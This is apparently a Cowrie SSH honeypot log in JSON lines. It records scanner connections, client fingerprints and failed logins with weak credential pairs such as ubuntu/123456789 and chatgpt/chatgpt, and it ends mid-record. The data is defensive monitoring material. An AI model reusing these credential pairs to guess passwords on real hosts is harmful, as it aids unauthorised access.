{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:18.802367Z","src_ip":"176.65.139.95","session":"32cc8ed77c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:19.048491Z","src_ip":"159.203.92.129","session":"3b51338308af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:19.286253Z","src_ip":"176.65.139.95","session":"32cc8ed77c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:20.371344Z","src_ip":"176.65.139.95","session":"32cc8ed77c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":47374,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b88839cb550","protocol":"ssh","message":"New connection: 79.116.23.158:47374 (10.17.0.5:22) [session: 3b88839cb550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:21.036981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:21.042144Z","src_ip":"79.116.23.158","session":"3b88839cb550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:21.153077Z","src_ip":"79.116.23.158","session":"3b88839cb550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"developer","message":"login attempt [dev/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:21.622262Z","src_ip":"79.116.23.158","session":"3b88839cb550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:22.734864Z","src_ip":"79.116.23.158","session":"3b88839cb550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42228,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6cc6fb2c32","protocol":"ssh","message":"New connection: 176.65.139.95:42228 (159.203.135.109:22) [session: 1d6cc6fb2c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:25.229104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:25.233527Z","src_ip":"176.65.139.95","session":"1d6cc6fb2c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:25.319254Z","src_ip":"176.65.139.95","session":"1d6cc6fb2c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:25.611825Z","src_ip":"176.65.139.95","session":"1d6cc6fb2c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:26.724399Z","src_ip":"176.65.139.95","session":"1d6cc6fb2c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37790,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2fccc2dadc8","protocol":"ssh","message":"New connection: 176.65.139.95:37790 (159.203.135.109:22) [session: e2fccc2dadc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:31.598579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:31.605431Z","src_ip":"176.65.139.95","session":"e2fccc2dadc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:31.705823Z","src_ip":"176.65.139.95","session":"e2fccc2dadc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:32.181338Z","src_ip":"176.65.139.95","session":"e2fccc2dadc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:33.281762Z","src_ip":"176.65.139.95","session":"e2fccc2dadc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37804,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c5bc6005011","protocol":"ssh","message":"New connection: 176.65.139.95:37804 (159.203.135.109:22) [session: 1c5bc6005011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:38.084110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:38.089649Z","src_ip":"176.65.139.95","session":"1c5bc6005011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:38.176636Z","src_ip":"176.65.139.95","session":"1c5bc6005011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:38.461791Z","src_ip":"176.65.139.95","session":"1c5bc6005011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:39.644800Z","src_ip":"176.65.139.95","session":"1c5bc6005011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40998,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd63fd0da074","protocol":"ssh","message":"New connection: 194.59.206.2:40998 (159.203.135.109:22) [session: fd63fd0da074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:43.562361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:43.567199Z","src_ip":"194.59.206.2","session":"fd63fd0da074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:43.686570Z","src_ip":"194.59.206.2","session":"fd63fd0da074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:43.786071Z","src_ip":"194.59.206.2","session":"fd63fd0da074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59138,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0caee66810f","protocol":"ssh","message":"New connection: 176.65.139.95:59138 (159.203.135.109:22) [session: a0caee66810f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:44.561515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:44.581889Z","src_ip":"176.65.139.95","session":"a0caee66810f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:44.667604Z","src_ip":"176.65.139.95","session":"a0caee66810f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:44.986887Z","src_ip":"176.65.139.95","session":"a0caee66810f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:46.073310Z","src_ip":"176.65.139.95","session":"a0caee66810f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33908,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b8ae8e0882f","protocol":"ssh","message":"New connection: 176.65.139.95:33908 (159.203.135.109:22) [session: 4b8ae8e0882f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:50.945577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:50.950840Z","src_ip":"176.65.139.95","session":"4b8ae8e0882f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:51.043425Z","src_ip":"176.65.139.95","session":"4b8ae8e0882f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:51.474737Z","src_ip":"176.65.139.95","session":"4b8ae8e0882f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:52.559245Z","src_ip":"176.65.139.95","session":"4b8ae8e0882f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33912,"dst_ip":"159.203.135.109","dst_port":22,"session":"b46a7af8b139","protocol":"ssh","message":"New connection: 176.65.139.95:33912 (159.203.135.109:22) [session: b46a7af8b139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:57.428290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:57.435337Z","src_ip":"176.65.139.95","session":"b46a7af8b139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s